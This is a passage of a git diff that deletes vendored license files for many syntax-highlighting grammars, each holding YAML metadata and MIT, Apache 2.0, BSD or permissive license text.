-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright 2014 Shad Sharma
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
diff --git a/vendor/licenses/grammar/matlab.tmbundle.txt b/vendor/licenses/grammar/matlab.tmbundle.txt
deleted file mode 100644
index 7d64e8e95a..0000000000
--- a/vendor/licenses/grammar/matlab.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: matlab.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/maven.tmbundle.txt b/vendor/licenses/grammar/maven.tmbundle.txt
deleted file mode 100644
index e574297fd3..0000000000
--- a/vendor/licenses/grammar/maven.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: maven.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/mediawiki.tmbundle.txt b/vendor/licenses/grammar/mediawiki.tmbundle.txt
deleted file mode 100644
index 01fac945a0..0000000000
--- a/vendor/licenses/grammar/mediawiki.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: mediawiki.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/mercury-tmlanguage.txt b/vendor/licenses/grammar/mercury-tmlanguage.txt
deleted file mode 100644
index a0a547f6ef..0000000000
--- a/vendor/licenses/grammar/mercury-tmlanguage.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: mercury-tmlanguage
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2014 Sebastian Godelet
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/vendor/licenses/grammar/monkey.txt b/vendor/licenses/grammar/monkey.txt
deleted file mode 100644
index 76c1fed451..0000000000
--- a/vendor/licenses/grammar/monkey.txt
+++ /dev/null
@@ -1,7 +0,0 @@
----
-type: grammar
-name: monkey
-license: mit
-curated: true
----
-monkey.tmbundle is made available under the [MIT License](http://choosealicense.com/licenses/mit/).
diff --git a/vendor/licenses/grammar/moonscript-tmbundle.txt b/vendor/licenses/grammar/moonscript-tmbundle.txt
deleted file mode 100644
index f59b34d270..0000000000
--- a/vendor/licenses/grammar/moonscript-tmbundle.txt
+++ /dev/null
@@ -1,14 +0,0 @@
----
-type: grammar
-name: moonscript-tmbundle
-license: mit
----
-License (MIT)
-
-Copyright (C) 2014 by Leaf Corcoran
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/licenses/grammar/nemerle.tmbundle.txt b/vendor/licenses/grammar/nemerle.tmbundle.txt
deleted file mode 100644
index 00831d533c..0000000000
--- a/vendor/licenses/grammar/nemerle.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: nemerle.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/nesC.txt b/vendor/licenses/grammar/nesC.txt
deleted file mode 100644
index 608f288bad..0000000000
--- a/vendor/licenses/grammar/nesC.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: nesC
-license: mit
----
-MIT License
-
-Copyright (c) 2016 Christopher Wilson
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/vendor/licenses/grammar/ninja.tmbundle.txt b/vendor/licenses/grammar/ninja.tmbundle.txt
deleted file mode 100644
index 41f94c59f8..0000000000
--- a/vendor/licenses/grammar/ninja.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: ninja.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/nix.txt b/vendor/licenses/grammar/nix.txt
deleted file mode 100644
index 2dbe626447..0000000000
--- a/vendor/licenses/grammar/nix.txt
+++ /dev/null
@@ -1,13 +0,0 @@
----
-type: grammar
-name: nix
-license: mit
----
-The MIT License (MIT)
-Copyright (c) 2016 Wout Mertens
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/licenses/grammar/nu.tmbundle.txt b/vendor/licenses/grammar/nu.tmbundle.txt
deleted file mode 100644
index 4aef7d8d20..0000000000
--- a/vendor/licenses/grammar/nu.tmbundle.txt
+++ /dev/null
@@ -1,207 +0,0 @@
----
-type: grammar
-name: nu.tmbundle
-license: apache-2.0
----
-
-                              Apache License
-                        Version 2.0, January 2004
-                     http://www.apache.org/licenses/
-
-TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-1. Definitions.
-
-   "License" shall mean the terms and conditions for use, reproduction,
-   and distribution as defined by Sections 1 through 9 of this document.
-
-   "Licensor" shall mean the copyright owner or entity authorized by
-   the copyright owner that is granting the License.
-
-   "Legal Entity" shall mean the union of the acting entity and all
-   other entities that control, are controlled by, or are under common
-   control with that entity. For the purposes of this definition,
-   "control" means (i) the power, direct or indirect, to cause the
-   direction or management of such entity, whether by contract or
-   otherwise, or (ii) ownership of fifty percent (50%) or more of the
-   outstanding shares, or (iii) beneficial ownership of such entity.
-
-   "You" (or "Your") shall mean an individual or Legal Entity
-   exercising permissions granted by this License.
-
-   "Source" form shall mean the preferred form for making modifications,
-   including but not limited to software source code, documentation
-   source, and configuration files.
-
-   "Object" form shall mean any form resulting from mechanical
-   transformation or translation of a Source form, including but
-   not limited to compiled object code, generated documentation,
-   and conversions to other media types.
-
-   "Work" shall mean the work of authorship, whether in Source or
-   Object form, made available under the License, as indicated by a
-   copyright notice that is included in or attached to the work
-   (an example is provided in the Appendix below).
-
-   "Derivative Works" shall mean any work, whether in Source or Object
-   form, that is based on (or derived from) the Work and for which the
-   editorial revisions, annotations, elaborations, or other modifications
-   represent, as a whole, an original work of authorship. For the purposes
-   of this License, Derivative Works shall not include works that remain
-   separable from, or merely link (or bind by name) to the interfaces of,
-   the Work and Derivative Works thereof.
-
-   "Contribution" shall mean any work of authorship, including
-   the original version of the Work and any modifications or additions
-   to that Work or Derivative Works thereof, that is intentionally
-   submitted to Licensor for inclusion in the Work by the copyright owner
-   or by an individual or Legal Entity authorized to submit on behalf of
-   the copyright owner. For the purposes of this definition, "submitted"
-   means any form of electronic, verbal, or written communication sent
-   to the Licensor or its representatives, including but not limited to
-   communication on electronic mailing lists, source code control systems,
-   and issue tracking systems that are managed by, or on behalf of, the
-   Licensor for the purpose of discussing and improving the Work, but
-   excluding communication that is conspicuously marked or otherwise
-   designated in writing by the copyright owner as "Not a Contribution."
-
-   "Contributor" shall mean Licensor and any individual or Legal Entity
-   on behalf of whom a Contribution has been received by Licensor and
-   subsequently incorporated within the Work.
-
-2. Grant of Copyright License. Subject to the terms and conditions of
-   this License, each Contributor hereby grants to You a perpetual,
-   worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-   copyright license to reproduce, prepare Derivative Works of,
-   publicly display, publicly perform, sublicense, and distribute the
-   Work and such Derivative Works in Source or Object form.
-
-3. Grant of Patent License. Subject to the terms and conditions of
-   this License, each Contributor hereby grants to You a perpetual,
-   worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-   (except as stated in this section) patent license to make, have made,
-   use, offer to sell, sell, import, and otherwise transfer the Work,
-   where such license applies only to those patent claims licensable
-   by such Contributor that are necessarily infringed by their
-   Contribution(s) alone or by combination of their Contribution(s)
-   with the Work to which such Contribution(s) was submitted. If You
-   institute patent litigation against any entity (including a
-   cross-claim or counterclaim in a lawsuit) alleging that the Work
-   or a Contribution incorporated within the Work constitutes direct
-   or contributory patent infringement, then any patent licenses
-   granted to You under this License for that Work shall terminate
-   as of the date such litigation is filed.
-
-4. Redistribution. You may reproduce and distribute copies of the
-   Work or Derivative Works thereof in any medium, with or without
-   modifications, and in Source or Object form, provided that You
-   meet the following conditions:
-
-   (a) You must give any other recipients of the Work or
-       Derivative Works a copy of this License; and
-
-   (b) You must cause any modified files to carry prominent notices
-       stating that You changed the files; and
-
-   (c) You must retain, in the Source form of any Derivative Works
-       that You distribute, all copyright, patent, trademark, and
-       attribution notices from the Source form of the Work,
-       excluding those notices that do not pertain to any part of
-       the Derivative Works; and
-
-   (d) If the Work includes a "NOTICE" text file as part of its
-       distribution, then any Derivative Works that You distribute must
-       include a readable copy of the attribution notices contained
-       within such NOTICE file, excluding those notices that do not
-       pertain to any part of the Derivative Works, in at least one
-       of the following places: within a NOTICE text file distributed
-       as part of the Derivative Works; within the Source form or
-       documentation, if provided along with the Derivative Works; or,
-       within a display generated by the Derivative Works, if and
-       wherever such third-party notices normally appear. The contents
-       of the NOTICE file are for informational purposes only and
-       do not modify the License. You may add Your own attribution
-       notices within Derivative Works that You distribute, alongside
-       or as an addendum to the NOTICE text from the Work, provided
-       that such additional attribution notices cannot be construed
-       as modifying the License.
-
-   You may add Your own copyright statement to Your modifications and
-   may provide additional or different license terms and conditions
-   for use, reproduction, or distribution of Your modifications, or
-   for any such Derivative Works as a whole, provided Your use,
-   reproduction, and distribution of the Work otherwise complies with
-   the conditions stated in this License.
-
-5. Submission of Contributions. Unless You explicitly state otherwise,
-   any Contribution intentionally submitted for inclusion in the Work
-   by You to the Licensor shall be under the terms and conditions of
-   this License, without any additional terms or conditions.
-   Notwithstanding the above, nothing herein shall supersede or modify
-   the terms of any separate license agreement you may have executed
-   with Licensor regarding such Contributions.
-
-6. Trademarks. This License does not grant permission to use the trade
-   names, trademarks, service marks, or product names of the Licensor,
-   except as required for reasonable and customary use in describing the
-   origin of the Work and reproducing the content of the NOTICE file.
-
-7. Disclaimer of Warranty. Unless required by applicable law or
-   agreed to in writing, Licensor provides the Work (and each
-   Contributor provides its Contributions) on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-   implied, including, without limitation, any warranties or conditions
-   of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-   PARTICULAR PURPOSE. You are solely responsible for determining the
-   appropriateness of using or redistributing the Work and assume any
-   risks associated with Your exercise of permissions under this License.
-
-8. Limitation of Liability. In no event and under no legal theory,
-   whether in tort (including negligence), contract, or otherwise,
-   unless required by applicable law (such as deliberate and grossly
-   negligent acts) or agreed to in writing, shall any Contributor be
-   liable to You for damages, including any direct, indirect, special,
-   incidental, or consequential damages of any character arising as a
-   result of this License or out of the use or inability to use the
-   Work (including but not limited to damages for loss of goodwill,
-   work stoppage, computer failure or malfunction, or any and all
-   other commercial damages or losses), even if such Contributor
-   has been advised of the possibility of such damages.
-
-9. Accepting Warranty or Additional Liability. While redistributing
-   the Work or Derivative Works thereof, You may choose to offer,
-   and charge a fee for, acceptance of support, warranty, indemnity,
-   or other liability obligations and/or rights consistent with this
-   License. However, in accepting such obligations, You may act only
-   on Your own behalf and on Your sole responsibility, not on behalf
-   of any other Contributor, and only if You agree to indemnify,
-   defend, and hold each Contributor harmless for any liability
-   incurred by, or claims asserted against, such Contributor by reason
-   of your accepting any such warranty or additional liability.
-
-END OF TERMS AND CONDITIONS
-
-APPENDIX: How to apply the Apache License to your work.
-
-   To apply the Apache License to your work, attach the following
-   boilerplate notice, with the fields enclosed by brackets "[]"
-   replaced with your own identifying information. (Don't include
-   the brackets!)  The text should be enclosed in the appropriate
-   comment syntax for the file format. We also recommend that a
-   file or class name and description of purpose be included on the
-   same "printed page" as the copyright notice for easier
-   identification within third-party archives.
-
-Copyright [yyyy] [name of copyright owner]
-
-Licensed under the Apache License, Version 2.0 (the "License");
-you may not use this file except in compliance with the License.
-You may obtain a copy of the License at
-
-    http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing, software
-distributed under the License is distributed on an "AS IS" BASIS,
-WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-See the License for the specific language governing permissions and
-limitations under the License.
diff --git a/vendor/licenses/grammar/objective-c.tmbundle.txt b/vendor/licenses/grammar/objective-c.tmbundle.txt
deleted file mode 100644
index 507266770c..0000000000
--- a/vendor/licenses/grammar/objective-c.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: objective-c.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/ocaml.tmbundle.txt b/vendor/licenses/grammar/ocaml.tmbundle.txt
deleted file mode 100644
index e6a30d0a21..0000000000
--- a/vendor/licenses/grammar/ocaml.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: ocaml.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/ooc.tmbundle.txt b/vendor/licenses/grammar/ooc.tmbundle.txt
deleted file mode 100644
index 5046515d92..0000000000
--- a/vendor/licenses/grammar/ooc.tmbundle.txt
+++ /dev/null
@@ -1,27 +0,0 @@
----
-type: grammar
-name: ooc.tmbundle
-license: bsd-2-clause
----
-Copyright (c) 2009-2010, 2014 Noel Cower, Mark Fayngersh.
-All rights reserved.
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are met:
-
-1. Redistributions of source code must retain the above copyright notice, this
-   list of conditions and the following disclaimer. 
-2. Redistributions in binary form must reproduce the above copyright notice,
-   this list of conditions and the following disclaimer in the documentation
-   and/or other materials provided with the distribution. 
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
-ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
-WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
-DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
-ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
-(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
-LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
-ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
-SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/vendor/licenses/grammar/opa.tmbundle.txt b/vendor/licenses/grammar/opa.tmbundle.txt
deleted file mode 100644
index e72775874a..0000000000
--- a/vendor/licenses/grammar/opa.tmbundle.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: opa.tmbundle
-license: mit
----
-Copyright (c) 2014 Mads Hartmann Jensen
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of
-this software and associated documentation files (the "Software"), to deal in
-the Software without restriction, including without limitation the rights to
-use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
-of the Software, and to permit persons to whom the Software is furnished to do
-so, subject to the following conditions:
-
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/vendor/licenses/grammar/oz-tmbundle.txt b/vendor/licenses/grammar/oz-tmbundle.txt
deleted file mode 100644
index 6bab3d7eb0..0000000000
--- a/vendor/licenses/grammar/oz-tmbundle.txt
+++ /dev/null
@@ -1,24 +0,0 @@
----
-type: grammar
-name: oz-tmbundle
-license: mit
----
-Copyright (c) 2010 Benoit Daloze
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
diff --git a/vendor/licenses/grammar/pascal.tmbundle.txt b/vendor/licenses/grammar/pascal.tmbundle.txt
deleted file mode 100644
index 72b1a6cedf..0000000000
--- a/vendor/licenses/grammar/pascal.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: pascal.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/pawn-sublime-language.txt b/vendor/licenses/grammar/pawn-sublime-language.txt
deleted file mode 100644
index 1ce021389f..0000000000
--- a/vendor/licenses/grammar/pawn-sublime-language.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: pawn-sublime-language
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2015 "Southclaw"
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/vendor/licenses/grammar/perl.tmbundle.txt b/vendor/licenses/grammar/perl.tmbundle.txt
deleted file mode 100644
index 15bf446f9b..0000000000
--- a/vendor/licenses/grammar/perl.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: perl.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/perl6fe.txt b/vendor/licenses/grammar/perl6fe.txt
deleted file mode 100644
index 9fd8f9aaa4..0000000000
--- a/vendor/licenses/grammar/perl6fe.txt
+++ /dev/null
@@ -1,36 +0,0 @@
----
-type: grammar
-name: perl6fe
-license: mit
----
-Copyright (c) 2015 Jacob Russo
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-
---------------------------------------------------------------------
-
-This package was derived from a TextMate bundle located at
-https://github.com/textmate/perl.tmbundle and distributed under the following
-license, located in `README.mdown`:
-
-Permission to copy, use, modify, sell and distribute this
-software is granted. This software is provided "as is" without
-express or implied warranty, and with no claim as to its
-suitability for any purpose.
diff --git a/vendor/licenses/grammar/php-smarty.tmbundle.txt b/vendor/licenses/grammar/php-smarty.tmbundle.txt
deleted file mode 100644
index da92fd4219..0000000000
--- a/vendor/licenses/grammar/php-smarty.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: php-smarty.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/php.tmbundle.txt b/vendor/licenses/grammar/php.tmbundle.txt
deleted file mode 100644
index 94613c0607..0000000000
--- a/vendor/licenses/grammar/php.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: php.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
